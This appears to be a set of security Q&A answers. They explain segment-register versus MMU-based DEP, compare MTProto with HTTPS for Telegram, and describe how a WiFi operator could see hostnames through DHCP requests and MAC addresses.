As a DEP mechanism, segment registers are not very flexible, since they require a clear separation between areas that can be executed, and areas that cannot. JIT compilers, in particular, are not very happy with that, since they need to allocate RAM, write code in it, then make the area executable, which cannot be done if it was not allocated in the "executable space" (the area covered by CS) in the first place. Moreover, as said above, segment-based tricks don't work when the kernel is in 64-bit mode. This is why modern OS, when doing DEP, prefer to do it through the MMU, which allows for allowing or preventing execution on a per-page basis, and to dynamically change execution rights for each page.

(Also, DEP is only an attempt at hindering the attacker, but workarounds exist. For security, it is much better to not allow buffers to be overflown, rather than trying to recover more or less cleanly from an overflown buffer.)
The GS register is special; its base address is not the address 0, and it still works when the kernel is in 64-bit mode. It is used for efficient thread-local storage.


What is advantages of using MTProto for Telegram over using HTTPS?

First of all, the Hypertext Transfer Protocol Secured is a special purpose protocol for web browsing and optimized for this use-case. That doesn't stop people for using it for other purposes, but this is not what the protocol was designed for.

MTProto does not just define encryption, but also how individual chat messages and their metadata are structured. Because HTTPS is not a chat protocol, it doesn't have any useful specifications for anything like that. Also, chat protocols need to be able to push messages to clients without them polling the server all the time. HTTP(S) with its request-response model isn't built for that.

Another thing Telegram needs but which HTTPS does not provide is encryption between clients. HTTPS only provides encryption between client and server.


Can a WiFi operator track local hostnames?

Most certainly, however WiFi itself is nothing more than a network bridge between clients. Hostnames are send in by protocols that operate on top of LAN, for example DHCP, and are no different than connections over an ethernet cable.

MAC addresses are sent in the ethernet layer, even when there is no connection, for example to identify neighbors, or to send probes. If your device is setup to connect to any open network, the router could catch the hostname from the DHCP request. Keep in mind that a MAC address might prove more usefull when it comes to device identification.